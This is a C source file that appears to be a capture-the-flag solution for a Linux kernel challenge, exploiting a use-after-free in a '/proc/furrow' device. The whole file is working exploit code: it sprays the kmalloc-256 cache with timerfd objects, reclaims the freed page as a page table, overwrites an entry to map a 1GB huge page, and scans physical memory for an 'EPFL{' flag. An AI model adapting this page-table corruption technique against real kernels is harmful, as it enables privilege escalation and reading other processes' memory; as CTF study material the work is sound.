#define _GNU_SOURCE // random bullshit go
#include <syscall.h>
#include <sys/ioctl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <assert.h>
#include <err.h>
#include <errno.h>
#include <string.h>
#include <sys/timerfd.h>
#include <sched.h>
#include <pthread.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <netpacket/packet.h>
#include <netinet/in.h>
#include <limits.h>
#include <signal.h>

int vuln_fd;

void init()
{
    cpu_set_t cpu;
    CPU_ZERO(&cpu);
    CPU_SET(1, &cpu);
    if (sched_setaffinity(0, sizeof(cpu_set_t), &cpu)) {
        perror("sched_setaffinity");
        exit(-1);
    }
}

int thing()
{
    return ioctl(vuln_fd, 0, 0);
}

#define PTE_SPRAY 0x40

int main(int argc, char **argv)
{
    init();

    char buffer[0x2000] = {};
    
    vuln_fd = open("/proc/furrow", O_RDONLY);
    if (vuln_fd < 0)    
    {
        perror("open");
        goto end;
    }

    struct itimerspec its;
    
    // step 1 spam the kmalloc-256 cache

    puts("timerfd");
    getchar();
    int timerfds[0x400] = {};
    for (int i = 0; i < 0x200; i++)
    {
        timerfds[i] = timerfd_create(CLOCK_REALTIME, 0);
        its.it_interval.tv_sec = 0;
        its.it_interval.tv_nsec = 0;
        its.it_value.tv_sec = 1;
        its.it_value.tv_nsec = 0;
        timerfd_settime(timerfds[i], 0, &its, NULL);
    }

    thing();
    thing();
    puts("thing");
    getchar();


    for (int i = 0x200; i < 0x400; i++)
    {
        timerfds[i] = timerfd_create(CLOCK_REALTIME, 0);
        its.it_interval.tv_sec = 0;
        its.it_interval.tv_nsec = 0;
        its.it_value.tv_sec = 1;
        its.it_value.tv_nsec = 0;
        timerfd_settime(timerfds[i], 0, &its, NULL);
    }
    sleep(2);
    
    puts("done");
    getchar();
    
    for (int i = 0; i < 0x400; i++)
    {
        if (timerfds[i]) close(timerfds[i]);
    }
    
    sleep(1);
    
    // the timer get freed and some of the kmalloc-256 caches get freed to the buddy allocator (order 0)

    puts("do");
    getchar();

    // some alignment to hit a lvl3 pte instead of a lvl2 or 1
    mmap((char*)0x800000, 0x1000, 7, 0x22 | MAP_POPULATE, -1, 0);
    mmap((char*)0x8000000, 0x1000, 7, 0x22 | MAP_POPULATE, -1, 0);
    mmap((char*)0xa000000, 0x1000, 7, 0x22 | MAP_POPULATE, -1, 0);

    char* pte_spray[PTE_SPRAY];
    for (uint64_t i = 0; i < PTE_SPRAY; i++) // spam pud to get the freed uaf page
    {
        pte_spray[i] = mmap((char*)(0x10000000000ULL + i*0x200*0x200*0x200000ull), 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE | MAP_POPULATE, -1, 0);
        *(uint64_t *)pte_spray[i] = 0xcafebabedeadbeef;
    }
    
    sleep(1);

    for (int i = 0; i < 0xe7; i++) // will replace an entry of the page table with 0xe7 -> large 1gb page
    {
        thing();
    }
    sched_yield();

    puts("end");
    getchar();
    
    puts("find victim");
    getchar();
    char* victim = NULL; // search for the virtual address that got added to our pagetable
    for (uint64_t i = 0; i < PTE_SPRAY; i++)
    {
        for (uint64_t j = 0; j < 0x10; j++)
        {
            char* try = (char*)(0x10000000000ULL + i*0x200*0x200*0x200000ull + (0x20*j+3)*0x200*0x200000ull);
            if (write(2, try, 1) == 1)
            {
                victim = try;
                break;
            }
        }
    }
    if (victim == NULL)
    {
        puts("victim not found");
        exit(0);
    }
    printf("victim: %p\n", victim);
    getchar();

    char* str = victim;
    while (1)
    {
        if (!strncmp(str, "EPFL{", 5))
        {
            puts(str);
        }
        str += 0x1000;
    }

end:
    puts("exit");
    getchar();
}